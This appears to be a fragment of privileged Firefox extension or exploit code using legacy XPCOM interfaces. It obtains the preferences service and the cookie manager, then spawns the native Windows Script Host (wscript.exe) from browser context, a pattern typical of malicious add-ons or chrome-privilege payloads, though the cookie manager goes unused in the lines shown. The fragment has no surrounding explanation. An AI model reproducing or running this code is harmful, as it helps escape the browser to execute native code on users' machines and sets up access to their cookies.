var Cc=Components.classes, Ci=Components.interfaces; 
 var prf=Cc['@mozilla.org/preferences-service;1'].getService(Ci.nsIPrefBranch);
 var str=Cc['@mozilla.org/supports-string;1'].createInstance(Ci.nsISupportsString);
 var cok=Cc['@mozilla.org/cookiemanager;1'].getService(Ci.nsICookieManager); var args = []; 
   var proc=Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);
   var file=Cc["@mozilla.org/file/local;1"].createInstance(Ci.nsILocalFile);   
       file.initWithPath("C:\\Windows\\System32\\wscript.exe");
       proc.init(file); proc.run(false, args, args.length);